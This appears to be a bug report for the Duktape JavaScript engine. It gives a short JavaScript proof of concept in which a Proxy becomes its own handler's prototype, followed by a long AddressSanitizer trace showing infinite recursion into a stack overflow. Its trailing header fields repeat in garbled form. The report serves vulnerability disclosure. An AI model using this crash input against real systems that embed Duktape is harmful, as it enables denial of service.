Build
commit 50af773b1b32067170786c2b7c661705ec7425d4
OS
Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux
PoC
var v1 = new Uint8Array(Uint8Array, Uint8Array, Uint8Array);
var v3 = new Int8Array();
var v5 = new Proxy(v3, v1);
v1.__proto__ = v5;
for (var v6 = 0; v6 < 5; v6++) {
v5.arguments &= v6;
}
Output
AddressSanitizer:DEADLYSIGNAL
=================================================================
==838976==ERROR: AddressSanitizer: stack-overflow on address 0x7fffff7fef28 (pc 0x55555561b186 bp 0x7fffff7ff770 sp 0x7fffff7fef30 T0)
#0 0x55555561b186 in __asan_memcpy (/home/kali/JSEs/duktape-latest/build/duk-clang-asan+0xc7186) (BuildId: c1aa1ff8308a86c81dd61a13fdc189524a3d7068)
#1 0x55555566f407 in duk_push_tval /home/kali/JSEs/duktape-latest/duk_api_stack.c:4318:2
#2 0x55555567b6f1 in duk_push_hobject /home/kali/JSEs/duktape-latest/duk_api_stack.c:6021:2
#3 0x5555557d1e09 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1235:3
#4 0x5555557d1e09 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
#5 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
#6 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
#7 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
#8 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
#9 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
#10 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
#11 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
#12 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
#13 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
#14 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
#15 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
#16 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
#17 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
#18 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
#19 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
#20 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
#21 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
#22 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
#23 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
#24 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
#25 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
#26 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
#27 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
#28 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
#29 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
#30 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
#31 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
#32 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
#33 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
#34 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
#35 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
#36 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
#37 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
#38 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
#39 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
#40 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
#41 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
#42 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
#43 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
#44 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
#45 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
#46 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
#47 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
#48 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
#49 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
#50 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
#51 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
#52 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
#53 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
#54 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
#55 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
#56 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
#57 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
#58 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
#59 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
#60 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
#61 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
#62 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
#63 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
#64 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
#65 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
#66 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
#67 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
#68 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
#69 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
#70 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
#71 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
#72 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
#73 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
#74 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
#75 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
#76 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
#77 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
#78 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
#79 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
#80 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
#81 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
#82 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
#83 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
#84 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
#85 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
#86 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
#87 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
#88 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
#89 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
#90 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
#91 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
#92 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
#93 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
#94 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
#95 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
#96 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
#97 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
#98 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
#99 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
#100 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
#101 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
#102 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
#103 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
#104 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
#105 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
#106 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
#107 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
#108 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
#109 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
#110 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
#111 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
#112 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
#113 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
#114 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
#115 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
#116 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
#117 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
#118 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
#119 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
#120 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
#121 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
#122 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
#123 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
#124 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
#125 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
#126 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
#127 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
#128 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
#129 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
#130 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
#131 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
#132 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
#133 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
#134 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
#135 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
#136 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
#137 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
#138 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
#139 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
#140 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
#141 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
#142 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
#143 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
#144 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
#145 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
#146 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
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#292 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
#293 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
#294 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
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#296 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
Credit:
Bruno G Oliveira
Build
commit 50af773b1b32067170786c2b7c661705ec7425d4OS
Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/LinuxPoC
Output
Credit:
Bruno G Oliveira